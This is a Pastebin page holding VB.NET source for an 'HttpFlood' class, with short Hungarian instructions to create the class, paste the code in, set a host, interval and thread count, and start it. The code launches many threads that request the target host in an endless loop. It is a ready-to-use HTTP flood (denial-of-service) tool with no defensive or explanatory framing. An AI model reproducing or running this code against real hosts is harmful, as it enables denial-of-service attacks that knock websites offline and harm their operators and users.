Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Funkció meghívása
- HttpFlood.Host = "127.0.0.1"
- HttpFlood.Interval = "1"
- HttpFlood.Threads = "50"
- HttpFlood.StartHttpFlood()
- Csinálj egy új class-t HttpFlood néven és másold bele ezt a kódot
- Public Shared Sub StartHttpFlood()
- Try
- _floodingThread = New Thread(Threads - 1) {}
- _floodingJob = New ThreadStart(Threads - 1) {}
- _requestClass = New HttpRequest(Threads - 1) {}
- For i As Integer = 0 To Threads - 1
- _requestClass(i) = New HttpRequest(Host, Interval)
- _floodingJob(i) = New ThreadStart(AddressOf _requestClass(i).Send)
- _floodingThread(i) = New Thread(_floodingJob(i))
- _floodingThread(i).Start()
- Next
- IsEnabled = True
- Catch ex As Exception
- End Try
- End Sub
- Public Shared Sub StopHttpFlood()
- Try
- For i As Integer = 0 To Threads - 1
- Try
- _floodingThread(i).Abort()
- _floodingThread(i) = Nothing
- _floodingJob(i) = Nothing
- _requestClass(i) = Nothing
- Catch p As Exception
- End Try
- Next
- IsEnabled = False
- Catch ex As Exception
- End Try
- End Sub
- Private Class HttpRequest
- Private Host As String
- Private Http As New WebClient()
- Private Interval As Integer
- Public Sub New(ByVal Host As String, ByVal Interval As Integer)
- Try
- Me.Host = Host
- Me.Interval = Interval
- Catch ex As Exception
- End Try
- End Sub
- Public Sub Send()
- Try
- While True
- Try
- Http.DownloadString(Host)
- Thread.Sleep(Interval)
- Catch
- Thread.Sleep(Interval)
- End Try
- End While
- Catch ex As Exception
- End Try
- End Sub
- End Class
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement